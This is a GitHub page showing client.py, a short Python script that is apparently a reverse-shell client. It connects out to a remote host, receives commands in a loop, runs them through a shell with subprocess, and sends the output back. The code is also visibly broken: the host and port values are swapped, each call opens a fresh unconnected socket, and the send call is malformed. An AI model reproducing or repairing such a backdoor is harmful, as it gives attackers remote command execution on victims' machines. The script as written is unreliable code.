-
Notifications
You must be signed in to change notification settings - Fork 0
/
client.py
32 lines (25 loc) · 848 Bytes
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from ctypes.wintypes import INT
import socket
import subprocess
# SETTING UP IP/Sockets
REMOTE_PORT = '127.0.0.1'
new_string = bytearray(REMOTE_PORT, "ascii")
ip_receiver = new_string
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
REMOTE_HOST = 8081
client = socket.socket()
# INITIALIZING CONNECTION
print("[-] Connection Initializing...")
socket.socket().connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection Initiated!")
# RUNTIME LOOP
while True:
print("[-] Awaiting Commands...")
command = socket.socket().recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True,
stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
print("[-] Sending Response...")
socket.socket().send(output=output_error)